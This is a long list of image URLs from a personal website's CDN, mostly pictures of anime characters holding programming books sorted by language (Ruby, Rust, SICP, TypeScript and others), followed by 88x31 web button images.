+https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Ruby/Istina_from_Arknights_Holding_Ruby_Programming_For_Beginners.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Ruby/Izetta_Introduction_to_Ruby_Programming_for_Future_Professionals.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Ruby/Kanzaki_Ranko_Holding_Ruby_Programming_Lang.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Ruby/Lucy_Holds_Ruby_Book_Portuguese.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Ruby/Megumin_Reading_Programming_Gengo_Ruby.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Ruby/Nakano_Yotsuba_Holding_The_Ruby_On_Rails_Tutorial.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Ruby/Ruby_Kurosawa_Holding_Ruby_Programming_Lang.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Ruby/Saber_Alter_Ruby.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Ruby/Tokisaki_Kurumi_Holding_Practical_Object_Oriented_Design_In_Ruby.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Ruby/Tomoko_Kuroki_Holding_Ruby_Programming_Language.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Ruby/Tsukihime_Kohaku_Holding_Ruby_Programming_For_Beginners.jpeg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Ruby/Yuki_Suou_Holding_Ruby_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Ruby/rubyist.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Ai_Hayasaka_Holding_The_Rust_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Ai_Mie_Reading_The_Rust_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Akiyama_Mio_Holding_The_Rust_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Astolfo_Learning_rust.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Da_vinci_Rust_art.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Ferris_Chan_Rust.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Frieren_Holding_The_Rust_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Frieren_The_Rust_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Helena_blavatsky_Rust_lang.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Ikuyo_Kita_holding_Rust_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Inuyama_Aoi_Showing_Off_RUST_Programming.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Iwakura_Lain_Rust_programming.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Kakegurui_Yumeko_Rust.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Kanna_Kamui_Finds_RUST_programming.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Kaori_Miyazono_Rust.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Kikuchi_Makoto_Programming_In_Rust.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Kitagawa_Marin_holding_The_Rust_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Komi_holding_Web_Assembly_with_Rust.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Kotoko_Iwanaga_The_Rust_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Koukaku_no_Pandora_Rust_Programming.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Lavinia_whateley_Black_hat_in_rust.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Mai_Sakurajima_Holding_Rust_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Mash_kyrielight_Rust_development.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Minagi_Koharu_Reading_Rust_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Minori_Hanasato_Programming_Rust.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Miyamizu_Mitsuha_On_Ownership_And_Borrowing.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Morgan_le_fay_Rust_course.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Murasaki_shikibu_Mastering_Rust.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Nene_Sakura_Rust.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Ninomae_Inanis_Holding_Rust_Programming.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Ninomae_Inanis_The_Rust_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Nursery_rhyme_Rust_learning_path.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Ponko_Rust.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Rin_Shima_The_Rust_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Rin_Shima_The_Rust_Programming_Language_2.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Rin_Shima_The_Rust_Programming_Language_3.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Ruri_Ichigyou_Holding_Rust_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Sawai_Natsuha_Smug_Rust.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Senko_Holding_The_Rust_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Shikanoko-The-Rust-Programming-Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Shizuka_Yoshimoto_The_Rust_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Squid_Girl_Ikamusume_recommends_Rust.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Suigintou_Smug_Rust.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Suigintou_The_Rust_Lang.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Takebe_Saori_on_Web_Assembly_With_Rust.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Tsukishima_Shijima_The_Rust_programming_language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Rust/Zero_Two_Black_Hat_Rust.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Alice_Kuonji_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Anya_Reading_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Azmaria_Hendric_Holding_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Buratei_Marii_Not_Confident_At_ALL_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Buratei_Marii_Not_Confident_At_ALL_SICP_bg.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Chisaki_Tapris_Has_no_clue_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Chuunis_Rikka_Sanae_Studying_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Dirty_Pair_Yuri_angry_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Etotama_Uri-tan_reading_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/FlanSICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Fujiwara_Chika_Presents_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Fujiwara_No_Mokou_Law_Is_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Fujiwara_No_Mokou_Lewds_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Fumami_Yui_Holding_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Funami_Yui_Hugging_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/GochiUsa_Is_The_Order_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Gokou_Ruri_Points_At_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Hanako_Yamadagi_looking_at_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Hanamaru_Kunikida_Holding_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Hatsune_Miku_Reading_SICP.jpeg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/IM%40s_Ganaha_Hibiki_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/IM%40s_Kisaragi_Chihaya_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Inuyama_Aoi_Showing_Off_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Isla_Angry_Holding_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Iwakura_Lain_Reading_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Iwakura_Lain_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Kaede_Reading_SICP_With_Renge.jpeg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Kagami_reading_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Kanna_Kamui_Finds_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Kaoruko_Moeta_SICP.jpeg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Kemono_Friends_Serval_Kaban_Find_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Kikuchi_Makoto_Hiding_Behind_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Kin-iro_Mosaic_Alice_crying_for_bible_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Kohashi_Wakaba_READING_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Kohashi_Wakaba_reading_SICP2.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Kokonoe_Rin_Presenting_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Komeji_Satori_Owns_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Komichi_Aya_Hugging_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Konata_With_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Koukaku_no_Pandora_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Kujou_Karen_Does_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Kujou_Karen_Gets_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Kujou_Karen_Likes_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Kuramoto_Chinatsu_Presenting_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Kurosawa_Ruby_Holding_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Kurumizawa_Satanichia_Reading_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Lain_Holding_SICP_Behind_Her_Back.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Laura_La_Mer_Enjoying_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/MARIN_KITAGAWA_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Maa_nyanko_days_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Mahoro_with_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Maki_and_Nico_Love_Live_with_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Manaka_Ao_Recommends_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Maple_Reading_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Marisa_Reading_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Miia_Flustered_By_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Mikage_Sakurai_Demonstrates_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Mio_holding_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Momijiyama_Teru_Reading_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Nagato_Yuki_Bandaged_Hand_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Nagato_Yuki_On_Cover_Of_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Nagato_Yuki_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Naoki_Miki_reading_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Niko_Yazawa_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Ninomae_Inanis_Holding_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Nori_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Oomiya_Shinobu_Reading_SICP.gif +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Oomiya_Shinobu_Reading_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Oumae_Kumiko_Reading_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Patchouli_Gives_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Patchouli_Looking_At_Viewer_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Patchouli_Prefers_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Patchouli_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Patchy_Fumo_reads_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Professor_Shinonome_Finds_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Professor_Shinonome_Sleeps_With_SICP.gif +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Remilia_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Saki_Sukinasaki_holding_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Sakura_Chiyo_Flustered_Hugging_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Sakura_Nene_Prefers_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Sakurako_Ohmuro_Holding_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Satania_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Satonaka_Chie_Ooya-san_wa_Shishunki_Glancing_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Satou_Sakie_Flustered_Reading_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Sawai_Natsuha_Smug_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Senko_Holds_Structure_and_Interpretations_of_Computer_Programs.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Shima_Rin_Reading_SICP_2.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Shima_Rin_Yuru_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Shima_Rin_reading_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Shiori_Shiomiya_Holding_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Squid_Girl_Ikamusume_recommends_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Suetsugi_Konoha_hugging_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Suigintou_Smug_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Suminoe_Ako_Reads_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Suzukaze_Aoba_holding_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Tateishi_Shima_Reading_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Tenma_Gabriel_Yelling_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Tohru_Kobayashi_Holding_Structure_and_Interpretation_of_Computer_Programs.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Tomoko_Kuroki_Holding_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Urara_Shiratori_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Yagami_Kou_Starts_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Yamashita_reads_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Yukimura_Aoi_Reading_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SICP/Yuriko_Nanao_SICP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SQL/Database_Principles_Programming_And_Performance.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SQL/Himawari_Furutani_Getting_Started_With_Sql.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/SQL/Sayuki_Ayase_Fundamentals_of_Database_Systems.png.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Scala/Kurosawa_Ruby_Functional_Programming_In_Scala.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Scala/Senko-san_Scala.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Scala/Stable_Diffusion_Girl_Holding_Scala_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Shell/Akko_Kagari_Classic_Shell_Scripting.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Shell/Misaka_Mikoto_Shell_Scripting.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Smalltalk/Hitori_Bocchi_Smalltalk_80.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Solidity/Rei_Solidity_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Swift/5-Toubun-No-Hanayome_Nino-Nakano_Swift.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Swift/Karakai_Jouzu_No_Takagi_San_Swift.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Systems/Azabu_Mai_%CE%BCITRON4.0_Standard_Guidebook.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Systems/Azami_Cow_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Systems/Hakurei_Reimu_reading_SerenityOS_Programming.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Systems/Kobayashi_Reading_Computer_Systems.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Systems/Kyoko_Toshino_holding_The_Linux_Programming_Interface.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Systems/Mitsuha_Miyamizu_holding_Modern_Operating_Systems.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Systems/Raphtalia_Holding_Operating_Systems_Design_and_Implementation.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Systems/Sakurajima_Mai_holding_SerenityOS_Programming.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Systems/shimarin_csapp.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Typescript/Abigail_Williams_Design_patterns_typescript.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Typescript/Beako_Reading_The_TypeScript_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Typescript/Chito_Saving_Burning_Mastering_Typescript.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Typescript/Consort_Yu_Typescript_starter.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Typescript/Hanako_Reading_Programming_TypeScript.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Typescript/Izumi_Konata_Essential_Typescript.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Typescript/Morgan_le_Fay_Typescript_pros.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Typescript/Scathach_Medb_Typescript_stacks.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Typescript/Sesshouin_kiara_Angular_typescript.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Typescript/Sesshouin_kiara_Microservice_typescript.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Typescript/Shalltear_Bloodfallen_Holding_Effective_Typescript.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Typescript/Shouko_Komi_Holding_Functional_Programming_in_TypeScript.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Typescript/Teruhashi_Kokomi_Reading_Essential_Typescript_In_The_Bathroom.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Typescript/inugami_korone_effective_typescript.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/UEFI/Rukino_Harnessing_the_UEFI_Shell.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Uncategorized/Ikuyo_Kita_Holding_Arduino_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Uncategorized/Kitagawa_Marin_Holding_Nature_of_Code.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Uncategorized/Mary_Smith_Holding_Computer_Communications_And_Networks_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Uncategorized/Nagato_Yuki_Reading_Starplex.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Uncategorized/Reimi_Sugimoto_Clean_Code.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Uncategorized/Ritsuko_Reads_Orly_Meme_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Uncategorized/Shouko_Nishimiya_Holds_HTML_4_Portuguese.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Uncategorized/Takashima_Momoka_reading_Hardcore_Programming.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Uncategorized/Vigne_holds_Concepts_of_Programming_Languages_by_Sebesta.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Uncategorized/Yuri_holding_ScratchJr_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Unity/Rimuru_Tempest_Unity.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Unreal/Unreal_Engine_4_x_Scripting_with_C%2B%2B_Cookbook.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/V/Mai_Sakurajima_Getting_Started_with_V_Programming.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/V/Mai_Sakurajima_Getting_Started_with_V_Programming_2.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/V/Takunomi_Nao-Kiriyama_V.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/VHDL/Frederica_Greenhill_Holding_Free_Range_VHDL.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Verilog/Dita_Verilog_HDL.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Verilog/Misaka_Mikoto_Digital_Logic_With_An_Introduction_To_Verilog_And_FPGA-Based_Design.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Verilog/Saber_Reading_Advanced_Digital_System_Design_Verilog.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Visual%20Basic/Hirasawa_Yui_With_VBA_2008.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Visual%20Basic/Komi_holding_Excel_VBA_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/VueJS/Renge_Miyauchi_VueJS.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/VueJS/Shiina_Murakami_Vuejs_Up_And_Running.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Vulkan/Arima_Kana_Vulkan_Programming_Guide.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Vulkan/Jashin_Chan_Vulkan_Programming_Guide.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Vulkan/Kaname_Madoka_Vulkan_Programming_Guide.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Vulkan/Saeko_Yukihira_Vulkan_Programming_Guide.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/WebGL/Naru_and_Hana_from_Hanayamata_WebGL_par_la_pratique%28french_book%29.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Zig/Cheyanne_holding_Systems_Programming_with_Zig.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Zig/Persicaria_holding_Introduction_to_Zig.png +https://krisyotam.com/cdn/photos/Misc/88x31/1.png +https://krisyotam.com/cdn/photos/Misc/88x31/2.gif +https://krisyotam.com/cdn/photos/Misc/88x31/22.png +https://krisyotam.com/cdn/photos/Misc/88x31/3.gif +https://krisyotam.com/cdn/photos/Misc/88x31/3dsowner.jpg +https://krisyotam.com/cdn/photos/Misc/88x31/5.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a10.png +https://krisyotam.com/cdn/photos/Misc/88x31/a100.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a108.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a109.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a11.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a110.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a111.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a112.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a118.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a12.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a121.png +https://krisyotam.com/cdn/photos/Misc/88x31/a122.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a123.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a124.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a125.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a126.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a127.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a128.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a129.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a13.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a130.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a131.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a14.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a16.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a19.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a2.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a20.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a25.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a26.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a28.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a29.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a31.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a32.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a34.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a35.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a36.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a38.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a4.png +https://krisyotam.com/cdn/photos/Misc/88x31/a40.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a42.png +https://krisyotam.com/cdn/photos/Misc/88x31/a47.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a48.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a49.png +https://krisyotam.com/cdn/photos/Misc/88x31/a50.png +https://krisyotam.com/cdn/photos/Misc/88x31/a51.png +https://krisyotam.com/cdn/photos/Misc/88x31/a54.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a6.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a61.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a62.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a63.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a68.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a74.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a76.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a77.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a78.gif +https://krisyotam.com/cdn/photos/Misc/88x31/a8.png +https://krisyotam.com/cdn/photos/Misc/88x31/a80.gif 